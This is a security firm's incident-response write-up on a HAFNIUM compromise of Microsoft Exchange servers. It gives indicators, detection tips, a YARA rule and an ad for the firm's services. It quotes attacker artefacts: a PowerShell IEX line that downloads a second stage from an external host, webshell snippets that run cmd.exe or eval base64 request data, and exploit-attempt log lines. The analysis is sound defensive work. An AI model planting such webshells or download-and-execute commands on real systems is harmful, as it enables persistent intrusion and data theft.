Notes from the Field • 8 MIN READ

SecurityHQ Investigates HAFNIUM Compromise of Microsoft Exchange Servers – 10 March 2021

by Aaron Hambleton, Eleanor Barlow • Mar 2021

On 2nd March 2021, Microsoft disclosed details of four zero-day vulnerabilities that had been used by the threat actor known as HAFNIUM to target Microsoft Exchange servers.

HAFNIUM are linked to the People’s Republic of China (PRC). The vulnerabilities allowed HAFNIUM to gain access to on-premises exchange servers, which then allowed the group to steal emails, and deploy malware for long-term access to the compromised networks.

Microsoft issued an out of bands patch to address four zero-day vulnerabilities that had been exploited in live attacks by HAFNIUM. The action by Microsoft was taken to protect customers running on-premises versions of Microsoft Exchange Server.

HAFNIUM Investigation

SecurityHQ Incident Response analysts Aaron Hambleton & Swapnil Bhosale responded to a suspected Exchange server compromise and are since able to confirm that the compromise demonstrates indicators of the threat actor, HAFNIUM.

The actor carried out a range of activities which included the plantation of various WebShells and the creation of numerous schedule tasks, each packed with encoded PowerShell command ready for execution.

Below are a breakdown of the observed Indicators of Compromise (IOC) following HAFNIUM Managed Detection & Response engagement.

Indicators of Compromise Identified – Encoded Powershell Execution Inside \Winnet scheduled task

While examining newly created schedule tasks on the exchange server, Aaron and Swapnil identified a scheduled task named “\Winnet”. The task was scheduled to run every 45 minutes and it was configured to execute the below PowerShell command. The PowerShell command is Base64 encoded in order to bypass detection of endpoint security controls. This is a common and very simple technique used by most, if not all threat actors.


Option – To identify encoded commands of this nature being executed in your environment, monitor command line activity where the process name is powershell.exe and the command line contains –e, -enc or -encoded command. You can enable Windows Event ID 4688 as a method to monitor command line execution if you do not have EDR deployed on your endpoints and servers.

Decoded PowerShell Command inside \Winnet

After decoding the PowerShell command packed inside the scheduled task “\Winnet” you can clearly see that PowerShell is invoking a command to download content from an external source. We expect that this is the second stage of the attack. This payload will be downloaded to the Exchange server and used to continue the compromise through the environment.

IEX (New-Object Net.WebClient).downloadstring('http[:]//cdn[.]chatcdn[.]net/p?hig210305')

Option – Threat actors, or insiders may not use encoded commands to mask their activity and this means this activity can be easily caught by monitoring for “New-Object Net.WebClient).downloadstring” in the command line. Any PowerShell process invoking downloads from an external source should be investigated.

Observed WebShells

The following WebShells were discovered in the respective locations on the Exchange server. The first observed creation date was March 4th 2021, just two days after Microsoft release their advisory.



WebShell Code Snippets

Below are some code snippets taken from the various WebShells observed during the investigation.

The below is a snippet of code taken from the WebShell “fc8588a286.aspx”. Among other capabilities of the WebShell, the below snippet is calling cmd.exe to execute commands on the server.

myPro.StartInfo.Arguments = ' /c '+Request.Item['a79cc0ac8f6'];
myPro.StartInfo.FileName = 'cmd.exe';

The below is a snippet of code taken from the WebShell “supp0rt.aspx”. According to intelligence, this WebShell is dropped while exploiting CVE-2021-27065.

ExternalUrl : http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["69b8d82e963a8af7b99f4f91f7862076"])),"unsafe");}</script>

http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["klk123456"],"unsafe");}</script>

http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["mag4"],"unsafe");}</script>

http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["XOrSeMr3kgWUdFf6"],"unsafe");}</script>

This WebShell can be detected using the following YARA rule:

      $script1 = "script language" ascii wide nocase
      $script2 = "page language" ascii wide nocase
      $script3 = "runat=\"server\"" ascii wide nocase
      $script4 = "/script" ascii wide nocase
      $externalurl = "externalurl" ascii wide nocase
      $internalurl = "internalurl" ascii wide nocase
filesize < 10KB and any of ($script*) and ($externalurl or $internalurl)}

Exchange IIS Logs Observables

The Exchange IIS logs below demonstrate two events which check for the existence of known HAFNIUM WebShells, “errorEE.aspx” and “shell.aspx’. In these events you can observe that the HTTP response code is 404, signalling the WebShells do not exist on this particular server. Remember that the WebShells observed in aspnet client were supp0rt.aspx, load.aspx, error_page.aspx and 0QWYSEXe.aspx. This could indicate that the Exchange server was being actively scanned to check the existence of the widely reported errorEE.aspx and shell.aspx

GET /aspnet_client/errorEE.aspx - 443 - python-requests/2.22.0 - 404 0 0 140 
GET /aspnet_client/shell.aspx - 443 - python-requests/2.22.0 - 404 0 0 125
POST /ecp/y.js &CorrelationID=<empty>;&ClientId=MBCRBGHZEYRHOGCGK0TA&cafeReqId=f80a4a0c-4111-4834-ad45-5668e0e3512c; 443 - python-requests/2.25.1 - 200 0 0 421

Option – Irregular user agents such as Python-Requests in your Exchange IIS logs is suspicious. You should monitor IIS logs for such activity and investigate the connection attempts, focusing on successful connections (response code 200).

Observed IP Addresses

The below IP addresses were identified in the IIS logs executing a variety of POST and GET requests with a Python user agent.


Possible Attempts to Exploit CVE-2021-24085

Analysis of the IIS logs highlighted exploitation attempts of CVE-2021-24085. Quick analysis of the command “/ecp/DDI/DDIService.svc/GetObject” identified POC code is publicly available on GitHub. From the logs, we observe what appears to be two unique Python user agents.

POC exploit for CVE-2021-24085 is available here –

POST /ecp/DDI/DDIService.svc/GetList msExchEcpCanary=IDLTp0gQUkW-sSmlJYq2C9vlNuf54NgIuQzBMP_bHkYwf0YywzF2KUqUgANic7wRnrl0Dy8xNXs.&schema=VirtualDirectory&ActID=5818d0b1-5028-XXX-XXX-b0ba4682b304 444 CompanyName\XXMAIL01$ fe80::e5b4:4c9a:243e:5ea6%12 python-requests/2.25.1 - 200 0 0 859

POST /ecp/DDI/DDIService.svc/SetObject msExchEcpCanary=IDLTp0gQUkW-sSmlJYq2C9vlNuf54NgIuQzBMP_bHkYwf0YywzF2KUqUgANic7wRnrl0Dy8xNXs.&schema=OABVirtualDirectory&ActID=dc39937c-XXX-4d9a-XXX-277c51d6816e 444 CompanyName\XXMAIL01$ 
fe80::e5b4:4c9a:243e:5ea6%12 python-requests/2.25.1 - 200 0 0 515

POST /ecp/DDI/DDIService.svc/SetObject msExchEcpCanary=eCwgVZpuAEuMr6iceaGPoYnLbfmU4dgIq4ZjegQSGX1LbVUWOt-snM5X5Pm7jnhyl9MjNVUTOYY.&schema=OABVirtualDirectory&ActID=e1630946-XXX-4aa0-XXX-284a95880bca 444 CompanyName\XXMAIL01$ fe80::e5b4:4c9a:243e:5ea6%12 python-requests/2.6.0+CPython/2.7.5+Linux/3.10.0-1127.el7.x86_64 - 200 0 0 390

POST /ecp/DDI/DDIService.svc/GetObject msExchEcpCanary=t8llnAJG6U2H6neNJ6PFkYOXhHOx4dgICUqpdKev3fKAyOlRC7jcexkEaON8pxuDw4PYf5pljaI.&schema=OABVirtualDirectory&ActID=c54eed09-XXX-4dce-XXX-83076018a4e4 444 CompanyName\XXMAIL01$ fe80::e5b4:4c9a:243e:5ea6%12 python-requests/2.6.0+CPython/2.7.5+Linux/3.10.0-1127.el7.x86_64 - 200 0 0 515

Observed Scheduled Tasks Created

Below is a list of schedule tasks which were recently created on the compromised Exchange server.

Task NameTask to RunFirst Run Date


There are various resources available to help you determine if your Microsoft Exchange Servers were compromised by the recently announced zero-day vulnerabilities.

Microsoft IOC Detection Tool for Exchange Server Vulnerabilities

30 -Day Free MDR POV

  • To ensure your devices and network are appropriately monitored against the threat of compromise from sophisticated actors.
  • Visualise and understand malicious or anomalous activity. Analyse, prioritise and respond to threats in rapid time. Safeguard your data, people and processes.

Vulnerability Management Service       

  • To ensure all your assets are appropriately scanned and patched.
  • View and act on all vulnerabilities across all your digital platforms, including internet, applications, systems, cloud and hardware. Identify your weak points, monitor your online identity, verify issues and remediate in rapid time.

Digital Risk & Threat Monitoring Service

  • To obtain more information, and track threat actors and APT groups.
  • To receive the latest advisories and IOC updates surrounding attacks of this nature.
  • Harvest information from the Dark Web, Deep Web, and public domain for complete security and visibility.

For more information, or to speak with one of our expert analysts, contact the team.